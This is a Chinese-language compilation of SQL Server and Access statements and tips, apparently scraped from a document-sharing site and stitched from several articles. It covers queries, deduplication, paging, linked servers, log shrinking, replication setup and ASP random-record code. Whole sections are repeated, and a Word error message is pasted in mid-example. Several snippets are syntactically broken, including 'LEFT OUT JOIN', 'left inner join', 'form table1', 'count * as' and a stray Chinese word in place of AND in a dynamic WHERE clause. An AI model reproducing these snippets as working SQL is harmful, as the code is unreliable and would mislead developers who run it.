15、说明：选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)select a,b,c from tablename ta where a=(select max(a)from tablename tb where tb.b=ta.b)
16、说明：包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表
(select a from tableA)except(select a from tableB)except(select a from tableC)
17、说明：随机取出10条数据
select top 10 * from tablename order by newid()
18、说明：随机选择记录 select newid()
19、说明：删除重复记录
1),delete from tablename where id not in(select max(id)from tablename group by col1,col2,...)2),select distinct * into temp from tablename delete from tablename
insert into tablename select * from temp 评价： 这种操作牵连大量的数据的移动，这种做法不适合大容量但数据操作
3),例如：在一个外部表中导入数据，由于某些原因第一次只导入了一部分，但很难判断具体位置，这样只有在下一次全部导入，这样也就产生好多重复的字段，怎样删除重复字段 alter table tablename--添加一个自增列
add column_b int identity(1,1)delete from tablename where column_b not in(select max(column_b)from tablename group by column1,column2,...)alter table tablename drop column column_b
20、说明：列出数据库里所有的表名
select name from sysobjects where type='U' // U代表用户
21、说明：列出表里的所有的列名
select name from syscolumns where id=object_id('TableName')
22、说明：列示type、vender、pcs字段，以type字段排列，case可以方便地实现多重选择，类似select 中的case。
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end)FROM tablename group by type 显示结果：
type vender pcs 电脑 A 1
电脑 A 1 光盘 B 2 光盘 A 2 手机 B 3 手机 C 3
23、说明：初始化表table1 TRUNCATE TABLE table1
24、说明：选择从10到15的记录
select top 5 * from(select top 15 * from table order by id asc)table_别名 order by id desc
三、技巧 1、1=1，1=2的使用，在SQL语句组合时用的较多
“where 1=1” 是表示选择全部 “where 1=2”全部不选，如：
if @strWhere!='' begin set @strSQL = 'select count(*)as Total from [' + @tblName + '] where ' + @strWhere end else begin set @strSQL = 'select count(*)as Total from [' + @tblName + ']' end 我们可以直接写成 错误！未找到目录项。
set @strSQL = 'select count(*)as Total from [' + @tblName + '] where 1=1 安定 '+ @strWhere
2、收缩数据库--重建索引 DBCC REINDEX DBCC INDEXDEFRAG--收缩数据和日志 DBCC SHRINKDB DBCC SHRINKFILE
3、压缩数据库
dbcc shrinkdatabase(dbname)
4、转移数据库给新用户以已存在用户权限
exec sp_change_users_login 'update_one','newname','oldname' go
5、检查备份集
RESTORE VERIFYONLY from disk='E:dvbbs.bak'
6、修复数据库
ALTER DATABASE [dvbbs] SET SINGLE_USER GO DBCC CHECKDB('dvbbs',repair_allow_data_loss)WITH TABLOCK GO ALTER DATABASE [dvbbs] SET MULTI_USER GO
7、日志清除 SET NOCOUNT ON DECLARE @LogicalFileName sysname, @MaxMinutes INT, @NewSize INT
USE tablename--要操作的数据库名
SELECT @LogicalFileName = 'tablename_log',--日志文件名 @MaxMinutes = 10,--Limit on time allowed to wrap log.@NewSize = 1--你想设定的日志文件的大小(M)Setup / initialize DECLARE @OriginalSize int SELECT @OriginalSize = size FROM sysfiles WHERE name = @LogicalFileName SELECT 'Original Size of ' + db_name()+ ' LOG is ' + CONVERT(VARCHAR(30),@OriginalSize)+ ' 8K pages or ' + CONVERT(VARCHAR(30),(@OriginalSize*8/1024))+ 'MB' FROM sysfiles WHERE name = @LogicalFileName CREATE TABLE DummyTrans(DummyColumn char(8000)not null)
DECLARE @Counter INT, @StartTime DATETIME, @TruncLog VARCHAR(255)SELECT @StartTime = GETDATE(), @TruncLog = 'BACKUP LOG ' + db_name()+ ' WITH TRUNCATE_ONLY' DBCC SHRINKFILE(@LogicalFileName, @NewSize)EXEC(@TruncLog)--Wrap the log if necessary.WHILE @MaxMinutes > DATEDIFF(mi, @StartTime, GETDATE())--time has not expired
AND @OriginalSize =(SELECT size FROM sysfiles WHERE name = @LogicalFileName)AND(@OriginalSize * 8 /1024)> @NewSize BEGIN--Outer loop.SELECT @Counter = 0 WHILE((@Counter < @OriginalSize / 16)AND(@Counter < 50000))BEGIN--update INSERT DummyTrans VALUES('Fill Log')DELETE DummyTrans SELECT @Counter = @Counter + 1 END EXEC(@TruncLog)END SELECT 'Final Size of ' + db_name()+ ' LOG is ' + CONVERT(VARCHAR(30),size)+ ' 8K pages or ' + CONVERT(VARCHAR(30),(size*8/1024))+ 'MB' FROM sysfiles WHERE name = @LogicalFileName DROP TABLE DummyTrans SET NOCOUNT OFF
8、说明：更改某个表
exec sp_changeobjectowner 'tablename','dbo'
9、存储更改全部表
CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch @OldOwner as NVARCHAR(128), @NewOwner as NVARCHAR(128)AS DECLARE @Name as NVARCHAR(128)DECLARE @Owner as NVARCHAR(128)DECLARE @OwnerName as NVARCHAR(128)DECLARE curObject CURSOR FOR select 'Name' = name, 'Owner' = user_name(uid)from sysobjects where user_name(uid)=@OldOwner order by name OPEN curObject FETCH NEXT FROM curObject INTO @Name, @Owner WHILE(@@FETCH_STATUS=0)BEGIN if @Owner=@OldOwner begin set @OwnerName = @OldOwner + '.' + rtrim(@Name)
exec sp_changeobjectowner @OwnerName, @NewOwner end--select @name,@NewOwner,@OldOwner FETCH NEXT FROM curObject INTO @Name, @Owner END close curObject deallocate curObject GO
10、SQL SERVER中直接循环写入数据 declare @i int set @i=1 while @i<30 begin insert into test(userid)values(@i)set @i=@i+1 end 案例：
有如下表，要求就裱中所有沒有及格的成績，在每次增長0.1的基礎上，使他們剛好及格:
Name score Zhangshan 80
Lishi 59 Wangwu 50
Songquan 69
while((select min(score)from tb_table)<60)begin update tb_table set score =score*1.01 where score<60
if(select min(score)from tb_table)>60 break else continue end
数据开发-经典
1.按姓氏笔画排序:
Select * From TableName Order By CustomerName Collate Chinese_PRC_Stroke_ci_as //从少到多2.数据库加密: select encrypt('原始密码')
select pwdencrypt('原始密码')select pwdcompare('原始密码','加密后密码')= 1--相同；否则不相同 encrypt('原始密码')select pwdencrypt('原始密码')select pwdcompare('原始密码','加密后密码')= 1--相同；否则不相同 3.取回表中字段: declare @list varchar(1000), @sql nvarchar(1000)select @list=@list+','+b.name from sysobjects a,syscolumns b where a.id=b.id and a.name='表A' set @sql='select '+right(@list,len(@list)-1)+' from 表A' exec(@sql)4.查看硬盘分区: EXEC master..xp_fixeddrives 5.比较A,B表是否相等: if(select checksum_agg(binary_checksum(*))from A)=(select checksum_agg(binary_checksum(*))from B)print '相等' else print '不相等' 6.杀掉所有的事件探察器进程: DECLARE hcforeach CURSOR GLOBAL FOR SELECT 'kill '+RTRIM(spid)FROM master.dbo.sysprocesses WHERE program_name IN('SQL profiler',N'SQL 事件探查器')EXEC sp_msforeach_worker '?' 7.记录搜索: 开头到N条记录
Select Top N * From 表
N到M条记录(要有主索引ID)Select Top M-N * From 表 Where ID in(Select Top M ID From 表)Order by ID Desc---N到结尾记录
Select Top N * From 表 Order by ID Desc 案例
例如1：一张表有一万多条记录，表的第一个字段 RecID 是自增长字段，写一个SQL语句，找出表的第31到第40个记录。
select top 10 recid from A where recid not in(select top 30 recid from A)分析：如果这样写会产生某些问题，如果recid在表中存在逻辑索引。
select top 10 recid from A where„„是从索引中查找，而后面的select top 30 recid from A则在数据表中查找，这样由于索引中的顺序有可能和数据表中的不一致，这样就导致查询到的不是本来的欲得到的数据。解决方案
1，用order by select top 30 recid from A order by ricid 如果该字段不是自增长，就会出现问题 2，在那个子查询中也加条件：select top 30 recid from A where recid>-1
例2：查询表中的最后以条记录，并不知道这个表共有多少数据,以及表结构。
set @s = 'select top 1 * from T
where pid not in(select top ' + str(@count-1)+ ' pid from T)' print @s
exec sp_executesql
@s 9：获取当前数据库中的所有用户表
select Name from sysobjects where xtype='u' and status>=0 10：获取某一个表的所有字段
select name from syscolumns where id=object_id('表名')select name from syscolumns where id in(select id from sysobjects where type = 'u' and name = '表名')两种方式的效果相同
11：查看与某一个表相关的视图、存储过程、函数
select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%' 12：查看当前数据库中所有存储过程
select name as 存储过程名称 from sysobjects where xtype='P' 13：查询用户创建的所有数据库
select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')或者
select dbid, name AS DB_NAME from master..sysdatabases where sid <> 0x01 14：查询某一个表的字段和数据类型
select column_name,data_type from information_schema.columns where table_name = '表名' 15：不同服务器数据库之间的数据操作--创建链接服务器
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, '用户名 ', '密码 '--查询示例
select * from ITSV.数据库名.dbo.表名--导入示例
select * into 表 from ITSV.数据库名.dbo.表名--以后不再使用时删除链接服务器
exec sp_dropserver 'ITSV ', 'droplogins '
--连接远程/局域网数据(openrowset/openquery/opendatasource)--
1、openrowset--查询示例
select * from openrowset('SQLOLEDB ', 'sql服务器名 ';'用户名 ';'密码 ',数据库名.dbo.表名)
--生成本地表
select * into 表 from openrowset('SQLOLEDB ', 'sql服务器名 ';'用户名 ';'密码 ',数据库名.dbo.表名)
--把本地表导入远程表
insert openrowset('SQLOLEDB ', 'sql服务器名 ';'用户名 ';'密码 ',数据库名.dbo.表名)select *from 本地表--更新本地表 update b set b.列A=a.列A from openrowset('SQLOLEDB ', 'sql服务器名 ';'用户名 ';'密码 ',数据库名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1--openquery用法需要创建一个连接--首先创建一个连接创建链接服务器
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 '--查询
select * FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ')--把本地表导入远程表
insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ')select * from 本地表--更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ')as a inner join 本地表 b on a.列A=b.列A
--
3、opendatasource/openrowset SELECT * FROM opendatasource('SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陆名;Password=密码 ').test.dbo.roy_ta--把本地表导入远程表
insert opendatasource('SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陆名;Password=密码 ').数据库.dbo.表名 select * from 本地表
SQL Server基本函数
SQL Server基本函数 1.字符串函数 长度与分析用
1,datalength(Char_expr)返回字符串包含字符数,但不包含后面的空格
2,substring(expression,start,length)取子串，字符串的下标是从“1”，start为起始位置，length为字符串长度，实际应用中以len(expression)取得其长度
3,right(char_expr,int_expr)返回字符串右边第int_expr个字符，还用left于之相反
4,isnull(check_expression , replacement_value)如果check_expression為空，則返回replacement_value的值，不為空，就返回check_expression字符操作类
5,Sp_addtype 自定義數據類型
例如：EXEC sp_addtype birthday, datetime, 'NULL' 6,set nocount {on|off} 使返回的结果中不包含有关受 Transact-SQL 语句影响的行数的信息。如果存储过程中包含的一些语句并不返回许多实际的数据，则该设置由于大量减少了网络流量，因此可显著提高性能。SET NOCOUNT 设置是在执行或运行时设置，而不是在分析时设置。
SET NOCOUNT 为 ON 时，不返回计数（表示受 Transact-SQL 语句影响的行数）。SET NOCOUNT 为 OFF 时，返回计数
常识
在SQL查询中：from后最多可以跟多少张表或视图：256 在SQL语句中出现 Order by,查询时，先排序，后取
在SQL中，一个字段的最大容量是8000，而对于nvarchar(4000),由于nvarchar是Unicode码。
SQLServer2000同步复制技术实现步骤
一、预备工作
1.发布服务器,订阅服务器都创建一个同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户--管理工具--计算机管理--用户和组--右键用户
--新建用户
--建立一个隶属于administrator组的登陆windows的用户（SynUser）2.在发布服务器上,新建一个共享目录,做为发布的快照文件的存放目录,操作: 我的电脑--D: 新建一个目录,名为: PUB--右键这个新建的目录--属性--共享
--选择“共享该文件夹”--通过“权限”按纽来设置具体的用户权限,保证第一步中创建的用户(SynUser)具有对该文件夹的所有权限
--确定
3.设置SQL代理(SQLSERVERAGENT)服务的启动用户(发布/订阅服务器均做此设置)开始--程序--管理工具--服务--右键SQLSERVERAGENT--属性--登陆--选择“此账户”--输入或者选择第一步中创建的windows登录用户名（SynUser）--“密码”中输入该用户的密码
4.设置SQL Server身份验证模式,解决连接时的权限问题(发布/订阅服务器均做此设置)企业管理器
--右键SQL实例--属性
--安全性--身份验证
--选择“SQL Server 和 Windows”
--确定
5.在发布服务器和订阅服务器上互相注册 企业管理器
--右键SQL Server组
--新建SQL Server注册...--下一步--可用的服务器中,输入你要注册的远程服务器名--添加--下一步--连接使用,选择第二个“SQL Server身份验证”--下一步--输入用户名和密码（SynUser）
--下一步--选择SQL Server组,也可以创建一个新组--下一步--完成
6.对于只能用IP,不能用计算机名的,为其注册服务器别名（此步在实施中没用到）
(在连接端配置,比如,在订阅服务器上配置的话,服务器名称中输入的是发布服务器的IP)开始--程序--Microsoft SQL Server--客户端网络实用工具--别名--添加
--网络库选择“tcp/ip”--服务器别名输入SQL服务器名
--连接参数--服务器名称中输入SQL服务器ip地址
--如果你修改了SQL的端口,取消选择“动态决定端口”,并输入对应的端口号
二、正式配置
1、配置发布服务器
打开企业管理器，在发布服务器（B、C、D）上执行以下步骤:(1)从[工具]下拉菜单的[复制]子菜单中选择[配置发布、订阅服务器和分发]出现配置发布和分发向导(2)[下一步] 选择分发服务器 可以选择把发布服务器自己作为分发服务器或者其他sql的服务器（选择自己）
(3)[下一步] 设置快照文件夹
采用默认servernamePub(4)[下一步] 自定义配置
可以选择:是,让我设置分发数据库属性启用发布服务器或设置发布设置 否,使用下列默认设置（推荐）
(5)[下一步] 设置分发数据库名称和位置 采用默认值(6)[下一步] 启用发布服务器 选择作为发布的服务器(7)[下一步] 选择需要发布的数据库和发布类型(8)[下一步] 选择注册订阅服务器(9)[下一步] 完成配置
2、创建出版物
发布服务器B、C、D上
(1)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令(2)选择要创建出版物的数据库，然后单击[创建发布](3)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)(4)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型, SQLSERVER允许在不同的数据库如 orACLE或ACCESS之间进行数据复制。但是在这里我们选择运行“SQL SERVER 2000”的数据库服务器
(5)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表 注意: 如果前面选择了事务发布 则再这一步中只能选择带有主键的表(6)选择发布名称和描述
(7)自定义发布属性 向导提供的选择:
是 我将自定义数据筛选,启用匿名订阅和或其他自定义属性 否 根据指定方式创建发布（建议采用自定义的方式）(8)[下一步] 选择筛选发布的方式
(9)[下一步] 可以选择是否允许匿名订阅
1)如果选择署名订阅,则需要在发布服务器上添加订阅服务器
方法: [工具]->[复制]->[配置发布、订阅服务器和分发的属性]->[订阅服务器] 中添加 否则在订阅服务器上请求订阅时会出现的提示:改发布不允许匿名订阅 如果仍然需要匿名订阅则用以下解决办法
[企业管理器]->[复制]->[发布内容]->[属性]->[订阅选项] 选择允许匿名请求订阅 2)如果选择匿名订阅,则配置订阅服务器时不会出现以上提示(10)[下一步] 设置快照 代理程序调度(11)[下一步] 完成配置
当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库 有数据
srv1.库名..author有字段:id,name,phone, srv2.库名..author有字段:id,name,telphone,adress
要求：
srv1.库名..author增加记录则srv1.库名..author记录增加
srv1.库名..author的phone字段更新，则srv1.库名..author对应字段telphone更新--*/
--大致的处理步骤
--1.在 srv1 上创建连接服务器,以便在 srv1 中操作 srv2,实现同步
exec sp_addlinkedserver 'srv2','','SQLOLEDB','srv2的sql实例名或ip' exec sp_addlinkedsrvlogin 'srv2','false',null,'用户名','密码' go--2.在 srv1 和 srv2 这两台电脑中,启动 msdtc(分布式事务处理服务),并且设置为自动启动
。我的电脑--控制面板--管理工具--服务--右键 Distributed Transaction Coordinator--属性--启动--并将启动类型设置为自动启动 go
--然后创建一个作业定时调用上面的同步处理存储过程就行了
企业管理器--管理
--SQL Server代理--右键作业--新建作业
--“常规”项中输入作业名称--“步骤”项
--新建
--“步骤名”中输入步骤名
--“类型”中选择“Transact-SQL 脚本(TSQL)”--“数据库”选择执行命令的数据库
--“命令”中输入要执行的语句: exec p_process--确定--“调度”项--新建调度
--“名称”中输入调度名称
--“调度类型”中选择你的作业执行安排--如果选择“反复出现”--点“更改”来设置你的时间安排
然后将SQL Agent服务启动,并设置为自动启动,否则你的作业不会被执行
设置方法: 我的电脑--控制面板--管理工具--服务--右键 SQLSERVERAGENT--属性--启动类型--选择“自动启动”--确定.--3.实现同步处理的方法2,定时同步
--在srv1中创建如下的同步处理存储过程 create proc p_process as--更新修改过的数据
update b set name=i.name,telphone=i.telphone from srv2.库名.dbo.author b,author i where b.id=i.id and(b.name <> i.name or b.telphone <> i.telphone)
--插入新增的数据
insert srv2.库名.dbo.author(id,name,telphone)select id,name,telphone from author i where not exists(select * from srv2.库名.dbo.author where id=i.id)
--删除已经删除的数据(如果需要的话)delete b from srv2.库名.dbo.author b where not exists(select * from author where id=b.id)go
第五篇：经典实用SQL语句总结
经典实用SQL语句大全总结
[编辑语言]2015-05-26 19:56
本文导航
1、首页2、11、说明：四表联查问题：
本文是经典实用SQL语句大全的介绍，下面是该介绍的详细信息。下列语句部分是Mssql语句，不可以在access中使用。SQL分类：
DDL—数据定义语言(CREATE，ALTER，DROP，DECLARE)DML—数据操纵语言(SELECT，DELETE，UPDATE，INSERT)DCL—数据控制语言(GRANT，REVOKE，COMMIT，ROLLBACK)首先,简要介绍基础语句：
1、说明：创建数据库
CREATE DATABASE database-name
2、说明：删除数据库 drop database dbname
3、说明：备份sql server---创建 备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'---开始 备份
BACKUP DATABASE pubs TO testBack
4、说明：创建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)根据已有的表创建新表：
A：create table tab_new like tab_old(使用旧表创建新表)B：create table tab_new as select col1,col2… from tab_old definition only
5、说明：
删除新表：drop table tabname
6、说明：
增加一个列：Alter table tabname add column col type 注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。
7、说明：
添加主键：Alter table tabname add primary key(col)说明：
删除主键：Alter table tabname drop primary key(col)
8、说明：
创建索引：create [unique] index idxname on tabname(col….)删除索引：drop index idxname 注：索引是不可更改的，想更改必须删除重新建。
9、说明： 创建视图：create view viewname as select statement 删除视图：drop view viewname
10、说明：几个简单的基本的sql语句 选择：select * from table1 where 范围
插入：insert into table1(field1,field2)values(value1,value2)删除：delete from table1 where 范围
更新：update table1 set field1=value1 where 范围
查找：select * from table1 where field1 like ’%value1%’---like的语法很精妙，查资料!排序：select * from table1 order by field1,field2 [desc] 总数：select count * as totalcount from table1 求和：select sum(field1)as sumvalue from table1平均：select avg(field1)as avgvalue from table1 最大：select max(field1)as maxvalue from table1 最小：select min(field1)as minvalue from table1
11、说明：几个高级查询运算词 A： UNION 运算符
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL)，不消除重复行。两种情况下，派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
B： EXCEPT 运算符 EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时(EXCEPT ALL)，不消除重复行。
C： INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时(INTERSECT ALL)，不消除重复行。
注：使用运算词的几个查询结果行必须是一致的。
12、说明：使用外连接 A、left outer join：
左外连接(左连接)：结果集几包括连接表的匹配行，也包括左连接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c B：right outer join: 右外连接(右连接)：结果集既包括连接表的匹配连接行，也包括右连接表的所有行。
C：full outer join：
全外连接：不仅包括符号连接表的匹配行，还包括两个连接表中的所有记录。其次，大家来看一些不错的sql语句
1、说明：复制表(只复制结构,源表名：a 新表名：b)(Access可用)法一：select * into b from a where 1<>1 法二：select top 0 * into b from a
2、说明：拷贝表(拷贝数据,源表名：a 目标表名：b)(Access可用)insert into b(a, b, c)select d,e,f from b;
3、说明：跨数据库之间表的拷贝(具体数据使用绝对路径)(Access可用)insert into b(a, b, c)select d,e,f from b in ‘具体数据库’ where 条件 例子：..from b in '“&Server.MapPath(”.“)&”data.mdb“ &”' where..4、说明：子查询(表名1：a 表名2：b)select a,b,c from a where a IN(select d from b)或者: select a,b,c from a where a IN(1,2,3)
5、说明：显示文章、提交人和最后回复时间
select a.title,a.username,b.adddate from table a,(select max(adddate)adddate from table where table.title=a.title)b
6、说明：外连接查询(表名1：a 表名2：b)select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7、说明：在线视图查询(表名1：a)select * from(SELECT a,b,c FROM a)T where t.a > 1;
8、说明：between的用法,between限制查询数据范围时包括了边界值,not between不包括
select * from table1 where time between time1 and time2 select a,b,c, from table1 where a not between 数值1 and 数值2
9、说明：in 的使用方法
select * from table1 where a [not] in(‘值1’,’值2’,’值4’,’值6’)
10、说明：两张关联表，删除主表中已经在副表中没有的信息 delete from table1 where not exists(select * from table2 where table1.field1=table2.field1)
11、说明：四表联查问题：
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where.....12、说明：日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5
13、说明：一条sql 语句搞定数据库分页
select top 10 b.* from(select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc)a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段
14、说明：前10条记录
select top 10 * form table1 where 范围
15、说明：选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)select a,b,c from tablename ta where a=(select max(a)from tablename tb where tb.b=ta.b)
16、说明：包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表(select a from tableA)except(select a from tableB)except(select a from tableC)
17、说明：随机取出10条数据
select top 10 * from tablename order by newid()
18、说明：随机选择记录 select newid()
19、说明：删除重复记录
Delete from tablename where id not in(select max(id)from tablename group by col1,col2,...)20、说明：列出数据库里所有的表名
select name from sysobjects where type='U'
21、说明：列出表里的所有的
select name from syscolumns where id=object_id('TableName')
22、说明：列示type、vender、pcs字段，以type字段排列，case可以方便地实现多重选择，类似select 中的case。
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end)FROM tablename group by type 显示结果： type vender pcs 电脑 A 1 电脑 A 1 光盘 B 2 光盘 A 2 手机 B 3 手机 C 3
23、说明：初始化表table1 TRUNCATE TABLE table1
24、说明：选择从10到15的记录
select top 5 * from(select top 15 * from table order by id asc)table_别名 order by id desc 随机选择数据库记录的方法(使用Randomize函数，通过SQL语句实现)对存储在数据库中的数据来说，随机数特性能给出上面的效果，但它们可能太慢了些。你不能要求ASP“找个随机数”然后打印出来。实际上常见的解决方案是建立如下所示的循环：
Randomize RNumber = Int(Rnd*499)+1 While Not objRec.EOF If objRec(“ID”)= RNumber THEN...这里是执行脚本...end if objRec.MoveNext Wend 这很容易理解。首先，你取出1到500范围之内的一个随机数(假设500就是数据库内记录的总数)。然后，你遍历每一记录来测试ID 的值、检查其是否匹配RNumber。满足条件的话就执行由THEN 关键字开始的那一块代码。假如你的RNumber 等于495，那么要循环一遍数据库花的时间可就长了。虽然500这个数字看起来大了些，但相比更为稳固的企业解决方案这还是个小型数据库了，后者通常在一个数据库内就包含了成千上万条记录。这时候不就死定了? 采用SQL，你就可以很快地找出准确的记录并且打开一个只包含该记录的 recordset，如下所示：
Randomize RNumber = Int(Rnd*499)+ 1 SQL = “SELECT * FROM Customers WHERE ID = ” & RNumber set objRec = ObjConn.Execute(SQL)Response.WriteRNumber & “ = ” & objRec(“ID”)& “ ” & objRec(“c_email”)不必写出RNumber 和ID，你只需要检查匹配情况即可。只要你对以上代码的工作满意，你自可按需操作“随机”记录。Recordset没有包含其他内容，因此你很快就能找到你需要的记录这样就大大降低了处理时间。
再谈随机数
现在你下定决心要榨干Random 函数的最后一滴油，那么你可能会一次取出多条随机记录或者想采用一定随机范围内的记录。把上面的标准Random 示例扩展一下就可以用SQL应对上面两种情况了。为了取出几条随机选择的记录并存放在同一recordset内，你可以存储三个随机数，然后查询数据库获得匹配这些数字的记录：
SQL = “SELECT * FROM Customers WHERE ID = ” & RNumber & “ OR ID = ” & RNumber2 & “ OR ID = ” & RNumber3 假如你想选出10条记录(也许是每次页面装载时的10条链接的列表)，你可以用BETWEEN 或者数学等式选出第一条记录和适当数量的递增记录。这一操作可以通过好几种方式来完成，但是 SELECT 语句只显示一种可能(这里的ID 是自动生成的号码)：
SQL = “SELECT * FROM Customers WHERE ID BETWEEN ” & RNumber & “ AND ” & RNumber & “+ 9” 注意：以上代码的执行目的不是检查数据库内是否有9条并发记录。随机读取若干条记录，测试过
Access语法：SELECT top 10 * From 表名 ORDER BY Rnd(id)Sql server:select top n * from 表名 order by newid()mysql select * From 表名 Order By rand()Limit n Access左连接语法(最近开发要用左连接,Access帮助什么都没有,网上没有Access的SQL说明,只有自己测试, 现在记下以备后查)语法 select table1.fd1,table1,fd2,table2.fd2 From table1 left join table2 on table1.fd1,table2.fd1 where...使用SQL语句 用...代替过长的字符串显示 语法： SQL数据库：select case when len(field)>10 then left(field,10)+'...' else field end as news_name,news_id from tablename Access数据库：SELECT iif(len(field)>2,left(field,2)+'...',field)FROM tablename;Conn.Execute说明 Execute方法
该方法用于执行SQL语句。根据SQL语句执行后是否返回记录集，该方法的使用格式分为以下两种：
1.执行SQL查询语句时，将返回查询得到的记录集。用法为： Set 对象变量名=连接对象.Execute(“SQL 查询语言”)Execute方法调用后，会自动创建记录集对象，并将查询结果存储在该记录对象中，通过Set方法，将记录集赋给指定的对象保存，以后对象变量就代表了该记录集对象。
2.执行SQL的操作性语言时，没有记录集的返回。此时用法为： 连接对象.Execute “SQL 操作性语句” [, RecordAffected][, Option] ·RecordAffected 为可选项，此出可放置一个变量，SQL语句执行后，所生效的记录数会自动保存到该变量中。通过访问该变量，就可知道SQL语句队多少条记录进行了操作。
·Option 可选项，该参数的取值通常为adCMDText，它用于告诉ADO，应该将Execute方法之后的第一个字符解释为命令文本。通过指定该参数，可使执行更高效。
·BeginTrans、RollbackTrans、CommitTrans方法 这三个方法是连接对象提供的用于事务处理的方法。BeginTrans用于开始一个事物;RollbackTrans用于回滚事务;CommitTrans用于提交所有的事务处理结果，即确认事务的处理。
事务处理可以将一组操作视为一个整体，只有全部语句都成功执行后，事务处理才算成功;若其中有一个语句执行失败，则整个处理就算失败，并恢复到处里前的状态。
BeginTrans和CommitTrans用于标记事务的开始和结束，在这两个之间的语句，就是作为事务处理的语句。判断事务处理是否成功，可通过连接对象的Error集合来实现，若Error集合的成员个数不为0，则说明有错误发生，事务处理失败。Error集合中的每一个Error对象，代表一个错误信息。
SQL语句大全精要 2006/10/26 13:46 DELETE 语句
DELETE语句：用于创建一个删除查询，可从列在 FROM 子句之中的一个或多个表中删除记录，且该子句满足 WHERE 子句中的条件，可以使用DELETE删除多个记录。
语法：DELETE [table.*] FROM table WHERE criteria 语法：DELETE * FROM table WHERE criteria='查询的字' 说明：table参数用于指定从其中删除记录的表的名称。
criteria参数为一个表达式，用于指定哪些记录应该被删除的表达式。可以使用 Execute 方法与一个 DROP 语句从数据库中放弃整个表。不过，若用这种方法删除表，将会失去表的结构。不同的是当使用 DELETE，只有数据会被删除;表的结构以及表的所有属性仍然保留，例如字段属性及索引。
以上就是精品学习网提供的关于经典实用SQL语句大全的内容，希望对大家有所帮助。
![下载SQL盲注总结[精选合集]word格式文档](http://static.xiexiebang.com/skin/default/images/icon_word.png){kind=icon}
点击咨询 